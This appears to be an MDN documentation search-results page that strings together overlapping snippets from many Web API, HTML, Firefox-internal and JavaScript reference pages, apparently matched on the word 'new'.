... access the message database: if you have a nsimsgfolder, you can do this like so: somefolder.msgdatabase.addlistener(mylistener); alternately, you can access the message database through the nsimsgdbview like so: gfolderdisplay.view.dbview.db.addlistener(mylistener); method overview void onhdrflagschanged(in nsimsgdbhdr ahdrchanged, in unsigned long aoldflags, in unsigned long a
newflags, in nsidbchangelistener ainstigator); void onhdrdeleted(in nsimsgdbhdr ahdrchanged, in nsmsgkey aparentkey, in long aflags, in nsidbchangelistener ainstigator); void onhdradded(in nsimsgdbhdr ahdrchanged, in nsmsgkey aparentkey, in long aflags, in nsidbchangelistener ainstigator); void onparentchanged(in nsmsgkey akeychanged, in nsmsgkey oldparent, in nsmsgkey
newp...
...And 7 more matches
nsIFaviconService
hem from the database. note: this is an asynchronous operation; when it completes, a "places-favicons-expired" notification is dispatched through the observer's service. void expireallfavicons(); parameters none. getfavicondata() obsolete since gecko 22.0 (firefox 22.0 / thunderbird 22.0 / seamonkey 2.19) note: this method was removed in gecko 22.0. you should use the
new async api moziasyncfavicons.getfavicondataforpage() instead. this method retrieves the given favicon data. throws an exception if we don't have data. if there is no data but we have an entry for this favicon, adatalen will be "0" and adata will be null. void getfavicondata( in nsiuri afaviconuri, out autf8string amimetype, out unsigned long adatalen, optional from gecko 2.0 [array,retval...
...con data will be placed. this will be null if we have this uri but have no data associated with it. exceptions thrown ns_error_not_available thrown when we have never heard of this favicon url. getfavicondataasdataurl() obsolete since gecko 22.0 (firefox 22.0 / thunderbird 22.0 / seamonkey 2.19) note: this method was removed in gecko 22.0. you should use the
new async api moziasyncfavicons.getfavicondataforpage() instead. this method retrieves the given favicon data, returning it as a data url throws an exception if we don't have data. if there is no data but we have an entry for this favicon, returns null. astring getfavicondataasdataurl( in nsiuri afaviconuri ); parameters afaviconuri uri of the favicon whose data is being read. return va...
...ntaining the data for the favicon. this is null if there is no data but there is an entry for the favicon. exceptions thrown ns_error_not_available thrown when we have never heard of this favicon url. getfaviconforpage() obsolete since gecko 22.0 (firefox 22.0 / thunderbird 22.0 / seamonkey 2.19) note: this method was removed in gecko 22.0. you should use the
new async api moziasyncfavicons.getfaviconurlforpage() instead. this method retrieves the uri of the favicon for the given page. nsiuri getfaviconforpage( in nsiuri apageuri ); parameters apageuri uri of the page whose favicon is desired. return value returns the uri of the favicon associated with that page. returning a uri here does not mean that we have data for this favicon, only tha...
...And 7 more matches
Debugger - Firefox Developer Tools
accessor properties of the debugger prototype object a debugger instance inherits the following accessor properties from its prototype: enabled a boolean value indicating whether this debugger instance’s handlers, breakpoints, and the like are currently enabled. ...
...hrown in the debugger are not propagated to debuggee code; instead, spidermonkey calls this function, passingdebugger-exception as its sole argument and the debugger instance as the this value. this function should return a resumption value, which determines how the debuggee should continue. if the uncaught exception hook itself throws an exception,uncaught-hook-exception, spidermonkey throws a
new error object,confess-to-debuggee-exception, to the debuggee whose message blames the debugger, and includes textual descriptions ofuncaught-hook-exception and the originaldebugger-exception. if uncaughtexceptionhook’s value is null, spidermonkey throws an exception to the debuggee whose message blames the debugger, and includes a textual description ofdebugger-exception. assigning anything ...
...gee code. when one of the events described below occurs in debuggee code, the engine pauses the debuggee and calls the corresponding debugging handler on each debugger instance that is observing the debuggee. the handler functions receive the debugger instance as their this value. most handler functions can return a resumption value indicating how the debuggee’s execution should proceed. ...
...And 7 more matches
Debugger.Object - Firefox Developer Tools
rying about interfering with other debuggers. while most debugger.object instances are created by spidermonkey in the process of exposing debuggee's behavior and state to the debugger, the debugger can use debugger.object.prototype.makedebuggeevalue to create debugger.object instances for given debuggee objects, or use debugger.object.prototype.copy and debugger.object.prototype.create to create
new objects in debuggee compartments, allocated as if by particular debuggee globals. debugger.object instances protect their referents from the garbage collector; as long as the debugger.object instance is live, the referent remains live. this means that garbage collection has no visible effect on debugger.object instances. accessor properties of the debugger.object prototype a debugger.object in...
...tect their referents from the garbage collector; as long as the debugger.object instance is live, the referent remains live. this means that garbage collection has no visible effect on debugger.object instances. accessor properties of the debugger.object prototype a debugger.object instance inherits the following accessor properties from its prototype: proto the referent's prototype (as a
new debugger.object instance), or null if it has no prototype. class a string naming the ecmascript [[class]] of the referent. callable true if the referent is a callable object (such as a function or a function proxy); false otherwise. name the name of the referent, if it is a named function. if the referent is an anonymous function, or not a function at all, this is undefined. t...
...is is its call trap function—the function called when the function proxy is called. if the referent is not a function proxy whose handler object was allocated by debuggee code, this is null. proxyconstructtrap if the referent is a function proxy whose handler object was allocated by debuggee code, its construction trap function—the function called when the function proxy is called via a
new expression. if the referent is not a function proxy whose handler object was allocated by debuggee code, this is null. global a debugger.object instance referring to the global object in whose scope the referent was allocated. this does not unwrap cross-compartment wrappers: if the referent is a wrapper, the result refers to the wrapper's global, not the wrapped object's global. the result ...
...And 7 more matches
Animation.startTime - Web APIs
alue which indicates the scheduled time when an animation's playback should begin. an animation’s start time is the time value of its documenttimeline when its target keyframeeffect is scheduled to begin playback. an animation’s start time is initially unresolved (meaning that it's null because it has no value). ...
...= animation.starttime; animation.starttime =
newstarttime; value a floating-point number representing the current time in milliseconds, or null if no time is set. you can read this value to determine what the start time is currently set at, and you can change this value to make the animation start at a different time. examples in the running on web animations api example, the we can sync all
new animated cats by giving them all the same starttime as the original running cat: var catrunning = document.getelementbyid ("withwaapi").animate(keyframes, timing); /* a function that makes
new cats. ...
...ly set at, and you can change this value to make the animation start at a different time. examples in the running on web animations api example, the we can sync all
new animated cats by giving them all the same starttime as the original running cat: var catrunning = document.getelementbyid ("withwaapi").animate(keyframes, timing); /* a function that makes
new cats. ...
...And 7 more matches
Document - Web APIs
the document interface represents any web page loaded in the browser and serves as an entry point into the web page's content, which is the dom tree. the dom tree includes elements such as <body> and <table>, among many others. it provides functionality globally to the document, like how to obtain the page's url and create
new elements in the document. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width=...
... all;} the document interface describes the common properties and methods for any kind of document. depending on the document's type (e.g. html, xml, svg, …), a larger api is available: html documents, served with the "text/html" content type, also implement the htmldocument interface, whereas xml and svg documents implement the xmldocument interface. constructor document() creates a
new document object. properties this interface also inherits from the node and eventtarget interfaces. document.anchorsread only returns a list of all of the anchors in the document. document.body returns the <body> or <frameset> node of the current document. document.charactersetread only returns the character set being used by the document. document.compatmode read only indicates w...
...cancel event is sent, indicating that a running css animation has been canceled. globaleventhandlers.onanimationend an eventhandler called when an animationend event is sent, indicating that a css animation has stopped playing. globaleventhandlers.onanimationiteration an eventhandler called when an animationiteration event has been sent, indicating that a css animation has begun playing a
new iteration of the animation sequence. globaleventhandlers.onanimationstart an eventhandler called when an animationstart event is sent, indicating that a css animation has started playing. globaleventhandlers.onauxclick an eventhandler called when an auxclick event is sent, indicating that a non-primary button has been pressed on an input device (e.g. a middle mouse button). globaleventha...
...And 7 more matches
Traversing an HTML table with JavaScript and DOM Interfaces - Web APIs
"world"); this means that you have created a node of the type text_node (a piece of text) whose text data is "world", and mytextnode is your reference to this node object. to insert this text into your html page, you need to make this text node a child of some other node element. ...
...the following figure shows the recently created text node object inside the document tree. createtextnode() and appendchild() is a simple way to include white space between the words hello and world. ...
...createtextnode() and appendchild() is a simple way to include white space between the words hello and world. another important note is that the appendchild method will append the child after the last child, just like the word world has been added after the word hello. so if you want to append a text node between hello and world, you will need to use insertbefore instead of appendchild. ...
...And 7 more matches
Using FormData Objects - Web APIs
ntly from forms in order to transmit keyed data. the transmitted data is in the same format that the form's submit() method would use to send the data if the form's encoding type were set to multipart/form-data. ...
...its append() method, like this: var formdata =
new formdata(); formdata.append("username", "groucho"); formdata.append("accountnum", 123456); // number 123456 is immediately converted to a string "123456" // html file input, chosen by user formdata.append("userfile", fileinputelement.files[0]); // javascript file-like object var content = '<a id="a"><b id="b">hey!</b></a>'; // the body of the
new file... var blob =
new blob([content], { type: "text/xml"}); formdata.append("webmasterfile", blob); var request =
new xmlhttprequest(); request.open("post", "http://foo.com/submitform.php"); request.send(formdata); note: the fields "userfile" and "webmasterfile" both contain a file. the number assigned to the field "accountnum" is immediately converted into a string by the formdata.append() ...
... and expanding it to support files on the user's system. in order to build a blob you can invoke the blob() constructor. retrieving a formdata object from an html form to construct a formdata object that contains the data from an existing <form>, specify that form element when creating the formdata object: note: formdata will only use input fields that use the name attribute. ...
...And 7 more matches
Node.insertBefore() - Web APIs
the node.insertbefore() method inserts a node before a reference node as a child of a specified parent node. if the given node already exists in the document, insertbefore() moves it from its current position to the
new position. (that is, it will automatically be removed from its existing parent before appending it to the specified
new parent.) this means that a node cannot be in two locations of the document simultaneously. note: the node.clonenode() can be used to make a copy of the node before appending it under the
new parent. note that the copies made with clonenode() will not be automatically kept in sync. if the given child is a documentfragment, the entire contents of the documentfragment are moved into the child list of the specified parent node. syntax let insertednode = ...
...ously. note: the node.clonenode() can be used to make a copy of the node before appending it under the
new parent. note that the copies made with clonenode() will not be automatically kept in sync. if the given child is a documentfragment, the entire contents of the documentfragment are moved into the child list of the specified parent node. syntax let insertednode = parentnode.insertbefore(
newnode, referencenode) insertednode the node being inserted (the same as
newnode) parentnode the parent of the
newly inserted node.
newnode the node to be inserted. referencenode the node before which
newnode is inserted. if this is null, then
newnode is inserted at the end of parentnode's child nodes. note: referencenode is not an optional parameter. you must explicitly pass a node or...
...o be inserted. referencenode the node before which
newnode is inserted. if this is null, then
newnode is inserted at the end of parentnode's child nodes. note: referencenode is not an optional parameter. you must explicitly pass a node or null. failing to provide it or passing invalid values may behave differently in different browser versions. return value returns the added child (unless
newnode is a documentfragment, in which case the empty documentfragment is returned). ...
...And 7 more matches
SVGLengthList - Web APIs
objects. an svglengthlist object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown. ...
...fy the object will result in an exception being thrown. ...
... in gecko 5.0,the svglengthlist dom interface is now indexable and can be accessed like arrays interface overview also implement none methods void clear() svglength initialize(in svglength
newitem) svglength getitem(in unsigned long index) svglength insertitembefore(in svglength
newitem, in unsigned long index) svglength replaceitem(in svglength
newitem, in unsigned long index) svglength removeitem(in unsigned long index) svglength appenditem(in svglength
newitem) properties readonly unsigned long numberofitems readonly unsigned long length normative document svg 1.1 (2nd edition) properties name type description numberofitems unsigned long...
...And 7 more matches
Using server-sent events - Web APIs
to stream events to the front-end, but the client side code works almost identically to websockets in part of handling incoming events. this is one-way connection, so you can't send events from a client to a server. ...
...of handling incoming events. this is one-way connection, so you can't send events from a client to a server. receiving events from the server the server-sent event api is contained in the eventsource interface; to open a connection to the server to begin receiving events from it, create a
new eventsource object with the url of a script that generates the events. ...
... a server. receiving events from the server the server-sent event api is contained in the eventsource interface; to open a connection to the server to begin receiving events from it, create a
new eventsource object with the url of a script that generates the events. for example: const evtsource =
new eventsource("ssedemo.php"); if the event generator script is hosted on a different origin, a
new eventsource object should be created with both the url and an options dictionary. ...
...And 7 more matches
Using readable streams - Web APIs
ablestream .then(response => { const reader = response.body.getreader(); reading the stream now you’ve got your reader attached, you can read data chunks out of the stream using the readablestreamdefaultreader.read() method. this reads one chunk out of the stream, which you can then do anything you like with. ...
...tream now you’ve got your reader attached, you can read data chunks out of the stream using the readablestreamdefaultreader.read() method. this reads one chunk out of the stream, which you can then do anything you like with. ...
...e, our simple stream pump example goes on to enqueue each chunk in a
new, custom readablestream (we will find more about this in the next section), then create a
new response out of it, consume it as a blob, create an object url out of that blob using url.createobjecturl(), and then display it on screen in an <img> element, effectively creating a copy of the image we originally fetched. ...
...And 7 more matches
Using writable streams - Web APIs
m and also displaying the whole message on the ui when writing has finished. how writable streams work let’s look at how the writable stream functionality in our demo works. constructing a writable stream to create a writable stream, we use the writablestream() constructor; the syntax looks complex at first, but actually isn’t too bad. the syntax skeleton looks like this: const stream =
new writablestream({ start(controller) { }, write(chunk,controller) { }, close(controller) { }, abort(reason) { } }, { highwatermark, size() }); the constructor takes two objects as parameters. the first object is required, and creates a model in javascript of the underlying sink the data is being written to. the second object is optional, and allows you to specify a custom q...
...gstrategy. the first object can contain up to four members, all of which are optional: start(controller) — a method that is called once, immediately after the writablestream is constructed. inside this method, you should include code that sets up the stream functionality, e.g. getting access to the underlying sink. write(chunk,controller) — a method that is called repeatedly every time a
new chunk is ready to be written to the underlying sink (specified in the chunk parameter). close(controller) — a method that is called if the app signals that it has finished writing chunks to the stream. it should do whatever is necessary to finalize writes to the underlying sink, and release access to it. abort(reason) — a method that will be called if the app signals that it wishes to abrup...
... is called if the app signals that it has finished writing chunks to the stream. it should do whatever is necessary to finalize writes to the underlying sink, and release access to it. abort(reason) — a method that will be called if the app signals that it wishes to abruptly close the stream and put it in an errored state. ...
...And 7 more matches
Using DTMF with WebRTC - Web APIs
function() { logelement = document.queryselector(".log"); dialbutton = document.queryselector("#dial"); dialbutton.addeventlistener("click", connectanddial, false); }); starting the connection process when the dial button is clicked, connectanddial() is called. this starts building the webrtc connection in preparation for sending the dtmf codes. ...
... = (callerpc.addtrack !== undefined); callerpc.onicecandidate = handlecallericeevent; callerpc.onnegotiationneeded = handlecallernegotiationneeded; callerpc.oniceconnectionstatechange = handlecallericeconnectionstatechange; callerpc.onsignalingstatechange = handlecallersignalingstatechangeevent; callerpc.onicegatheringstatechange = handlecallergatheringstatechangeevent; receiverpc =
new rtcpeerconnection(); receiverpc.onicecandidate = handlereceivericeevent; if (hasaddtrack) { receiverpc.ontrack = handlereceivertrackevent; } else { receiverpc.onaddstream = handlereceiveraddstreamevent; } navigator.mediadevices.getusermedia(mediaconstraints) .then(gotstream) .catch(err => log(err.message)); } after creating the rtcpeerconnection for the caller (callerpc)...
...dstreamevent; } navigator.mediadevices.getusermedia(mediaconstraints) .then(gotstream) .catch(err => log(err.message)); } after creating the rtcpeerconnection for the caller (callerpc), we look to see if it has an addtrack() method. if it does, we set hasaddtrack to true; otherwise, we set it to false. this variable will let the example operate even on browsers not yet implementing the
newer addtrack() method; we'll do so by falling back to the older addstream() method. next, the event handlers for the caller are established. we'll cover these in detail later. then a second rtcpeerconnection, this one representing the receiving end of the call, is created and stored in receiverpc; its onicecandidate event handler is set up too. if addtrack() is supported, we set up the receiver'...
...And 7 more matches
Synchronous and asynchronous requests - Web APIs
code which causes "freezing" on the screen and an unresponsive user experience. asynchronous request if you use an asynchronous xmlhttprequest, you receive a callback when the data has been received. this lets the browser continue to work as normal while your request is being handled. example: send a file to the console log this is the simplest usage of asynchronous xmlhttprequest. ...
...must read many external files. this is a standard function which uses the xmlhttprequest object asynchronously in order to switch the content of the read file to a specified listener. function xhrsuccess() { this.callback.apply(this, this.arguments); } function xhrerror() { console.error(this.statustext); } function loadfile(url, callback /*, opt_arg1, opt_arg2, ... ...
...*, opt_arg1, opt_arg2, ... */) { var xhr =
new xmlhttprequest(); xhr.callback = callback; xhr.arguments = array.prototype.slice.call(arguments, 2); xhr.onload = xhrsuccess; xhr.onerror = xhrerror; xhr.open("get", url, true); xhr.send(null); } usage: function showmessage(message) { console.log(message + this.responsetext); } loadfile("message.txt", showmessage, "
new message!\n\n"); the signature of the utility function loadfile declares (i) a target url to read (via an http get request), (ii) a function to execute on successful completion of the xhr operation, and (iii) an arbitrary list of additional arguments that are passed through the xhr object (via the arguments property) to the success callback function. line 1 declares a function invoked when the ...
...And 7 more matches
XRReferenceSpace.getOffsetReferenceSpace() - Web APIs
the object returned by getoffsetreferencespace() is an xrreferencespace if called on an xrreferencespace, or an xrboundedreferencespace if called on an object of that type. ...
... the viewer's position. this is demonstrated in the example implementing rotation based on non-xr inputs, which demonstrates a way to use this method to let the user use their mouse to pitch and yaw their viewing angle. ...
...r mouse to pitch and yaw their viewing angle. syntax offsetreferencespace = xrreferencespace.getoffsetreferencespace(originoffset); parameters originoffset an xrrigidtransform specifying the offset to the origin of the
new reference space. these values are added to the position and orientation of the current reference space and then the result is used as the position and orientation of the
newly created xrreferencespace. return value a
new xrreferencespace object describing a reference space with the same native origin as the reference space on which the method was called, but with an origin offset indicating the distance from the object to the point given by originoffset. if the object on which you call this method is an xrboundedreferencespace, the returned object is one as well.
...And 7 more matches
XRView - Web APIs
the correct direction given the orientation and position of the surface relative to the light source or sources. ...
...eleporting an object to programmatically move and/or rotate (often referred to as teleporting) an object, you need to create a
new reference space for that object which applies a transform that encapsulates the desired changes. the createteleporttransform() function returns the transform needed to move and rotate an object whose current situation is described by the reference space refspace to a
new position and orientation which is computed using previously recorded mouse and keyboard input data which has generated offsets for yaw, pitch, and position along all three axes. function applymousemovement(refspace) { if (!mouseyaw && !mousepitch && !axialdistance && !transversedistance && !verticaldistance) { return refspace; } // compute the quaternion used to rotate the image...
...ientation, inverseorientation, -mouseyaw); // compute the true "up" vector for our object. vec3.cross(vecx, vecy, cubeorientation); vec3.cross(vecy, cubeorientation, vecx); // now compute the transform that teleports the object to the // specified point and save a copy of it to display to the user // later; otherwise we probably wouldn't need to save mousematrix // at all. ...
...And 7 more matches
Border-image generator - CSS: Cascading Style Sheets
recision') | 0; this.min = isnan(min) ? 0 : min; this.max = isnan(max) ? 100 : max; this.precision = precision >= 0 ? precision : 0; this.step = step < 0 || isnan(step) ? 1 : step.tofixed(precision); this.topic = topic; this.node = node; this.unit = unit === null ? '' : unit; this.sensivity = sensivity > 0 ? sensivity : 5; value = isnan(value) ? ...
...min; this.max = isnan(max) ? 100 : max; this.precision = precision >= 0 ? precision : 0; this.step = step < 0 || isnan(step) ? 1 : step.tofixed(precision); this.topic = topic; this.node = node; this.unit = unit === null ? '' : unit; this.sensivity = sensivity > 0 ? sensivity : 5; value = isnan(value) ? ...
...cision = precision >= 0 ? precision : 0; this.step = step < 0 || isnan(step) ? 1 : step.tofixed(precision); this.topic = topic; this.node = node; this.unit = unit === null ? '' : unit; this.sensivity = sensivity > 0 ? sensivity : 5; value = isnan(value) ? ...
...And 7 more matches
<a>: The Anchor element - HTML: Hypertext Markup Language
ollowing the link. see referrer-policy for possible values and their effects. rel the relationship of the linked url as space-separated link types. target where to display the linked url, as the name for a browsing context (a tab, window, or <iframe>). the following keywords have special meanings for where to load the url: _self: the current browsing context. (default) _blank: usually a
new tab, but users can configure browsers to open a
new window instead. _parent: the parent browsing context of the current one. if no parent, behaves as _self. _top: the topmost browsing context (the "highest" context that’s an ancestor of the current one). if no ancestors, behaves as _self. note: when using target, add rel="noreferrer noopener" to avoid exploitation of the window.opener...
...firefox 79+) setting target="_blank" on <a> elements implicitly provides the same rel behavior as setting rel="noopener". type hints at the linked url’s format with a mime type. no built-in functionality. obsolete attributes charsetobsolete since html5 hinted at the character encoding of the linked url. ...
...href="#section_further_down"> jump to the heading below </a></p> <!-- heading to link to --> <h2 id="section_further_down">section further down</h2> note: you can use href="#top" or the empty fragment (href="#") to link to the top of the current page, as defined in the html specification. linking to an email address to create links that open in the user's email program to let them send a
new message, use the mailto: scheme: <a href="mailto:nowhere@mozilla.org">send email to nowhere</a> for details about mailto: urls, such as including a subject or body, see email links or rfc 6068. linking to telephone numbers <a href="tel:+49.157.0156">+49 157 0156</a> <a href="tel:+1(555)5309">(555) 5309</a> tel: link behavior varies with device capabilities: cellular devices autodial the n...
...And 7 more matches
Classes - JavaScript
class rectangle { constructor(height, width) { this.height = height; this.width = width; } } hoisting an important difference between function declarations and class declarations is that function declarations are hoisted and class declarations are not. you first need to declare your class and then access it, otherwise code like the following will throw a referenceerror: const p =
new rectangle(); // referenceerror class rectangle {} class expressions a class expression is another way to define a class. class expressions can be named or unnamed. the name given to a named class expression is local to the class's body. (it can be retrieved through the class's (not an instance's) name property, though). // unnamed let rectangle = class { constructor(height, width) { th...
...structor method. a constructor can use the super keyword to call the constructor of the super class. prototype methods see also method definitions. class rectangle { constructor(height, width) { this.height = height; this.width = width; } // getter get area() { return this.calcarea(); } // method calcarea() { return this.height * this.width; } } const square =
new rectangle(10, 10); console.log(square.area); // 100 static methods the static keyword defines a static method for a class. static methods are called without instantiating their class and cannot be called through a class instance. static methods are often used to create utility functions for an application. class point { constructor(x, y) { this.x = x; this.y = y; } static dista...
...for a class. static methods are called without instantiating their class and cannot be called through a class instance. static methods are often used to create utility functions for an application. class point { constructor(x, y) { this.x = x; this.y = y; } static distance(a, b) { const dx = a.x - b.x; const dy = a.y - b.y; return math.hypot(dx, dy); } } const p1 =
new point(5, 5); const p2 =
new point(10, 10); p1.distance; //undefined p2.distance; //undefined console.log(point.distance(p1, p2)); // 7.0710678118654755 binding this with prototype and static methods when a static or prototype method is called without a value for this, such as by assigning a variable to the method and then calling it, the this value will be undefined inside the method. this be...
...And 7 more matches
Array.prototype.map() - JavaScript
the callback function accepts the following arguments: currentvalue the current element being processed in the array. ...
... the callback function accepts the following arguments: currentvalue the current element being processed in the array. ...
...g a provided function on every element in the calling array. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax let
new_array = arr.map(function callback( currentvalue[, index[, array]]) { // return element for
new_array }[, thisarg]) parameters callback function that is called for every element of arr. each time callback executes, the returned value is added to
new_array. the callback function accepts the following arguments: currentvalue the current element being processed in the array. indexoptional the index of the current element being processed in the array. arrayoptional the ...
...And 7 more matches
Array - JavaScript
ties. ...
... add an item to the end of an array let
newlength = fruits.push('orange') // ["apple", "banana", "orange"] remove an item from the end of an array let last = fruits.pop() // remove orange (from the end) // ["apple", "banana"] remove an item from the beginning of an array let first = fruits.shift() // remove apple from the front // ["banana"] add an item to the beginning of an array let
newlength = fruits.unshift('strawberry') // add to the front // ["strawberry", "banana"] find the index of an item in the array fruits.push('mango') // ["strawberry", "banana", "mango"] let pos = fruits.indexof('banana') // 1 remove an item by index position let removeditem = fruits.splice(pos, 1) // this is how to remove an item // ["strawberry", "mango"] remove items from an index position...
...only the zero-based index of the match in the string. 1 [0] read only the last matched characters. "dbbd" [1], ...[n] read only elements that specify the parenthesized substring matches (if included) in the regular expression. the number of possible parenthesized substrings is unlimited. ...
...And 7 more matches
Boolean - JavaScript
bject with an initial value of true. do not confuse the primitive boolean values true and false with the true and false values of the boolean object. any object of which the value is not undefined or null, including a boolean object whose value is false, evaluates to true when passed to a conditional statement. for example, the condition in the following if statement evaluates to true: var x =
new boolean(false); if (x) { // this code is executed } this behavior does not apply to boolean primitives. for example, the condition in the following if statement evaluates to false: var x = false; if (x) { // this code is not executed } do not use a boolean object to convert a non-boolean value to a boolean value. to perform this task, instead, use boolean as a function, or a double not o...
...example, the condition in the following if statement evaluates to false: var x = false; if (x) { // this code is not executed } do not use a boolean object to convert a non-boolean value to a boolean value. to perform this task, instead, use boolean as a function, or a double not operator: var x = boolean(expression); // use this... ...
...ert a non-boolean value to a boolean value. to perform this task, instead, use boolean as a function, or a double not operator: var x = boolean(expression); // use this... var x = !!(expression); // ...or this var x =
new boolean(expression); // don't use this! if you specify any object, including a boolean object whose value is false, as the initial value of a boolean object, the
new boolean object has a value of true. var myfalse =
new boolean(false); // initial value of false var g = boolean(myfalse); // initial value of true var mystring =
new string('hello'); // string object var s = boolean(mystring); // initial value of true do not use a boolean object in place of a boolean primitive. note: when the non-standard property document.all is used as an argu...
...And 7 more matches
Intl.DisplayNames - JavaScript
mes object is a constructor for objects that enables the consistent translation of language, region and script display names. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. constructor intl.displaynames() creates a
new intl.displaynames object. static methods intl.displaynames.supportedlocalesof() returns an array containing those of the provided locales that are supported without having to fall back to the runtime's default locale. instance methods intl.displaynames.prototype.of() this method receives a code and returns a string based on the locale and options provided when instantiating intl.displ...
...pportedlocalesof() returns an array containing those of the provided locales that are supported without having to fall back to the runtime's default locale. instance methods intl.displaynames.prototype.of() this method receives a code and returns a string based on the locale and options provided when instantiating intl.displaynames. ...
...en instantiating intl.displaynames. intl.displaynames.prototype.resolvedoptions() returns a
new object with properties reflecting the locale and formatting options computed during initialization of the object. examples region code display names to create an intl.displaynames for a locale and get the display name for a region code. ...
...And 7 more matches
Intl.NumberFormat() constructor - JavaScript
the intl.numberformat() constructor creates objects that enable language sensitive number formatting. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax
new intl.numberformat([locales[, options]]) parameters locales optional a string with a bcp 47 language tag, or an array of such strings. for the general form and interpretation of the locales argument, see the intl page. the following unicode extension key is allowed: nu the numbering system to be used. possible values include: "adlm", "ahom", "arab", "arabext", "bali", "beng", "bhks", "brah", "cakm", "cham", "deva", "diak", "fullwide", "gong",...
... options optional an object with some or all of the following properties: compactdisplay only used when notation is "compact". takes either "short" (default) or "long". currency the currency to us...
...ber of significant digits to use. possible values are from 1 to 21; the default is 1. maximumsignificantdigits the maximum number of significant digits to use. possible values are from 1 to 21; the default is 21. examples basic usage in basic use without specifying a locale, a formatted string in the default locale and with default options is returned. let amount = 3500; console.log(
new intl.numberformat().format(amount)); // → '3,500' if in us english locale decimal and percent formatting let amount = 3500;
new intl.numberformat('en-us', {style: 'decimal'}).format(amount); // → '3,500'
new intl.numberformat('en-us', {style: 'percent'}).format(amount); // → '350,000%' unit formatting if the style is 'unit', a unit property must be provided. optionally, unitdisplay co...
...And 7 more matches
Object - JavaScript
or extend object behavior. the object constructor creates an object wrapper for the given value. if the value is null or undefined, it will create and return an empty object. otherwise, it will return an object of a type that corresponds to the given value. if the value is an object already, it will return the value. when called in a non-constructor context, object behaves identically to
new object(). see also the object initializer / literal syntax. deleting a property from an object there isn't any method in an object itself to delete its own properties (such as map.prototype.delete()). to do so, one must use the delete operator. constructor object() creates a
new object object. it is a wrapper for the given value. static methods object.assign() copies the values of a...
... object.defineproperty() adds the named property described by a given descriptor to an object. ...
...escribed by a given descriptor to an object. object.defineproperties() adds the named properties described by the given descriptors to an object. object.entries() returns an array containing all of the [key, value] pairs of a given object's own enumerable string properties. object.freeze() freezes an object. other code cannot delete or change its properties. object.fromentries() returns a
new object from an iterable of [key, value] pairs. (this is the reverse of object.entries). object.getownpropertydescriptor() returns a property descriptor for a named property on an object. object.getownpropertydescriptors() returns an object containing all own property descriptors for an object. object.getownpropertynames() returns an array containing the names of all of the given object's ow...
...And 7 more matches
Set - JavaScript
ally, for sets, +0 (which is strictly equal to -0) and -0 were different values. however, this was changed in the ecmascript 2015 specification. see "key equality for -0 and 0" in the browser compatibility table for details. nan and undefined can also be stored in a set. all nan values are equated (i.e. nan is considered the same as nan, even though nan !== nan). constructor set() creates a
new set object. static properties get set[@@species] the constructor function that is used to create derived objects. instance properties set.prototype.size returns the number of values in the set object. instance methods set.prototype.add(value) appends value to the set object. returns the set object. set.prototype.clear() removes all elements from the set object. set.prototype.
...ototype.delete(value) removes the element associated to the value and returns the value that set.prototype.has(value) would have previously returned. set.prototype.has(value) will return false afterwards. set.prototype.has(value) returns a boolean asserting whether an element is present with the given value in the set object or not. ...
...reviously returned. set.prototype.has(value) will return false afterwards. set.prototype.has(value) returns a boolean asserting whether an element is present with the given value in the set object or not. iteration methods set.prototype[@@iterator]() returns a
new iterator object that yields the values for each element in the set object in insertion order. set.prototype.keys() returns a
new iterator object that yields the values for each element in the set object in insertion order. ...
...And 7 more matches
Uint32Array() constructor - JavaScript
the uint32array() typed array constructor creates an array of 32-bit unsigned integers in the platform byte order. if control over byte order is needed, use dataview instead. the contents are initialized to 0. once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation). syntax
new uint32array(); //
new in es2017
new uint32array(length);
new uint32array(typedarray);
new uint32array(object);
new uint32array(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros. typedarray when called with a typedarray argument, which can be an object of an...
...ject);
new uint32array(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros. typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a
new typed array. each value in typedarray is converted to the corresponding type of the constructor before being copied into the
new array. the length of the
new typed array will be same as the length of the typedarray argument. object when called with an object argument, a
new typed array is created as if by the typedarray.from() method. buffer, byteoffset, length when called with a buffer, and ...
...ed to the corresponding type of the constructor before being copied into the
new array. the length of the
new typed array will be same as the length of the typedarray argument. object when called with an object argument, a
new typed array is created as if by the typedarray.from() method. buffer, byteoffset, length when called with a buffer, and optionally a byteoffset and a length argument, a
new typed array view is created that views the specified arraybuffer. the byteoffset and length parameters specify the memory range that will be exposed by the typed array view. if both are omitted, all of buffer is viewed; if only length is omitted, the remainder of buffer is viewed. ...
...And 7 more matches
Spread syntax (...) - JavaScript
literals) are expected. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax for function calls: myfunction(...iterableobj); for array literals or strings: [...iterableobj, '4', 'five', 6]; for object literals (
new in ecmascript 2018): let objclone = { ...obj }; rest syntax (parameters) rest syntax looks exactly like spread syntax. in a way, rest syntax is the opposite of spread syntax. spread syntax "expands" an array into its elements, while rest syntax collects multiple elements and "condenses" them into a single element. see rest parameters. examples spread in function calls replace apply() it is...
...} const args = [0, 1, 2]; myfunction.apply(null, args); with spread syntax the above can be written as: function myfunction(x, y, z) { } const args = [0, 1, 2]; myfunction(...args); any argument in the argument list can use spread syntax, and the spread syntax can be used multiple times. ...
...l, args); with spread syntax the above can be written as: function myfunction(x, y, z) { } const args = [0, 1, 2]; myfunction(...args); any argument in the argument list can use spread syntax, and the spread syntax can be used multiple times. ...
...And 7 more matches
Classes and Inheritance - Archive of obsolete content
